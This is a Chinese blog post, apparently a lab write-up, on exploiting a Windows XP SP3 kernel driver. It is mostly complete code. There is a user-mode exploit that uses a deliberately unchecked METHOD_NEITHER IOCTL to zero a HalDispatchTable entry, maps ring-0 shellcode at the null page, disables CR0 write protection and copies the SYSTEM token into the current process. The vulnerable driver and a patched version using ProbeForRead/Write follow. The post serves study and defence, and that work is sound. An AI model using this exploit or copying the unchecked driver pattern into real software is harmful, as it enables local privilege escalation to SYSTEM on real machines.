标签:
实验环境 xp sp3
此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查
直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限
R3代码
主要获得一个函数的地址,将函数地址传入R0
R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode
// exploit.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <conio.h>
#pragma comment(linker,"/defaultlib:ntdll.lib")
#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04
//触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003
int g_uCr0 = 0;
int g_isRing0ShellcodeCalled = 0;
//Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//打开内核写
__asm
{
cli;
mov eax, cr0;
mov g_uCr0,eax;
and eax,0xFFFEFFFF;
mov cr0, eax;
}
//USEFULL FOR XP SP3
__asm
{
//KPCR
//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构,
//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息.
//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
//http://blog.csdn.net/hu3167343/article/details/7612595
//http://huaidan.org/archives/2081.html
mov eax, 0xffdff124 //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。
mov eax,[eax] //PETHREAD
mov esi,[eax+0x220] //PEPROCESS
mov eax, esi
searchXp:
mov eax,[eax+0x88] //NEXT EPROCESS
sub eax,0x88
mov edx,[eax+0x84] //PID
cmp edx,0x4 //SYSTEM PID
jne searchXp
mov eax, [eax+0xc8] //SYSTEM TOKEN
mov [esi+0xc8],eax //CURRENT PROCESS TOKEN
}
//关闭内核写
__asm
{
sti;
mov eax, g_uCr0;
mov cr0,eax;
}
g_isRing0ShellcodeCalled = 1;
return 0;
}
//申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
}
//释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = 0;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}
//main函数
int main(int argc, char* argv[])
{
NTSTATUS NtStatus;
HANDLE DeviceHandle=NULL;
ULONG ReturnLength = 0;
ULONG ImageBase;
PVOID MappedBase=NULL;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
LARGE_INTEGER Interval;
ULONG InputData=0;
//清空控制台屏幕
system("cls");
//printf("Please press any key to exploit");
//getch();
//从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址
//获取内核模块列表数据长度到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
{
printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//申请内存
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
if(ModuleInformation==NULL)
{
printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
goto ret;
}
//获取内核模块列表数据
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus != STATUS_SUCCESS)
{
printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//保存内核第一个模块(即nt模块)基址和名称,并打印
ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Module[0].ImageName +
ModuleInformation->Module[0].PathLength),
KERNEL_NAME_LENGTH);
printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase, ImageName);
//获取内核模块名称字符串的Unicode字符串
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
//加载内核模块到本进程空间
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
{
printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//获取内核模块在本进程空间中导出名称HalDispatchTable的地址
RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus)
{
printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//计算实际的HalDispatchTable内核地址
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);
//HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
//打印HalDispatchTable内核地址和xHalQuerySystemInformation值
printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
HalDispatchTable,
xHalQuerySystemInformation);
//设备名称的Unicode字符串
RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");
//打开ExploitMe设备
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
if(NtStatus)
{
printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//利用漏洞将HalQuerySystemInformation函数地址改为0
InputData = 0;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
&InputData, // InputBuffer--->任意数据(0)
BUFFER_LENGTH, // InputBufferLength
xHalQuerySystemInformation, // OutputBuffer-->任意地址
BUFFER_LENGTH); // OutBufferLength
if(NtStatus)
{
printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
//在本进程空间申请0地址内存
ShellCodeAddress = (PVOID)sizeof(ULONG);//4
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress 4
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect可执行,可读可写
if(NtStatus)
{
printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress);
//复制Ring0ShellCode到0地址内存中
RtlMoveMemory(
ShellCodeAddress,
(PVOID)Ring0ShellCode,
ShellCodeSize);
//触发漏洞
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus)
{
printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
goto ret;
}
printf("NtQueryIntervalProfile succeed!\n");
ret:
if(g_isRing0ShellcodeCalled)
{
printf("exploit done success!\n");
}
else
{
printf("exploit failed\n");
}
system("pause");
//释放申请的内存
if (ModuleInformation)
{
MyFreeMemory(ModuleInformation);
}
//卸载本进程中的内核模块
if (MappedBase)
{
LdrUnloadDll((PVOID)MappedBase);
}
//关闭句柄
if(DeviceHandle)
{
NtStatus = NtClose(DeviceHandle);
if(NtStatus)
{
printf("NtClose failed! NtStatus=%.8X\n", NtStatus);
}
}
return 0;
}
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驱动派遣例程函数
输入:驱动对象的指针,Irp指针
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驱动卸载函数
输入:驱动对象的指针
输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驱动入口函数(相当于main函数)
输入:驱动对象的指针,服务程序对应的注册表路径
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句调试信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//设置该驱动对象的卸载函数
driverObject->DriverUnload = DriverUnload;
//设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
修复也很简单,使用异常处理块 + ProbeForRead/Write检测传入的userbuff
/********************************************************************
created: 2010/12/06
filename: D:\0day\ExploitMe\exploitme.c
author: shineast
purpose: Exploit me driver demo
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)
//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;
/**********************************************************************
驱动派遣例程函数
输入:驱动对象的指针,Irp指针
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
PVOID Type3InputBuffer;//用户态输入地址
PVOID UserBuffer;//用户态输出地址
ULONG inputBufferLength;//输入缓冲区的大小
ULONG outputBufferLength;//输出缓冲区的大小
ULONG ioControlCode;//DeviceIoControl的控制号
PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值
//获取数据
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
UserBuffer = pIrp->UserBuffer;
inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
IoStatus=&pIrp->IoStatus;
IoStatus->Status = STATUS_SUCCESS;// Assume success
IoStatus->Information = 0;// Assume nothing returned
//根据 ioControlCode 完成对应的任务
switch(ioControlCode)
{
case IOCTL_EXPLOIT_ME:
__try
{
if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
{
//Type3InputBuffer 任意数据
//UserBuffer 任意地址
//当UserBuffer不是用户态地址 ProbeForRead/Write抛出STATUS_ACCESS_VIOLATION异常
ProbeForRead(UserBuffer,sizeof(ULONG),sizeof(ULONG));
ProbeForWrite(UserBuffer,sizeof(ULONG),sizeof(ULONG));
*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
IoStatus->Information = sizeof(ULONG);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
ntStatus = GetExceptionCode();
IoStatus->Information = sizeof(ULONG);
}
break;
}
//返回
IoStatus->Status = ntStatus;
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
return ntStatus;
}
/**********************************************************************
驱动卸载函数
输入:驱动对象的指针
输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT driverObject )
{
UNICODE_STRING symLinkName;
KdPrint(("DriverUnload: 88!\n"));
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
IoDeleteSymbolicLink(&symLinkName);
IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
驱动入口函数(相当于main函数)
输入:驱动对象的指针,服务程序对应的注册表路径
输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句调试信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//创建设备
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//创建符号链接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//设置该驱动对象的卸载函数
driverObject->DriverUnload = DriverUnload;
//设置该驱动对象的派遣例程函数
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功结果
return STATUS_SUCCESS;
}
标签:
原文地址:http://blog.csdn.net/zhuhuibeishadiao/article/details/51401473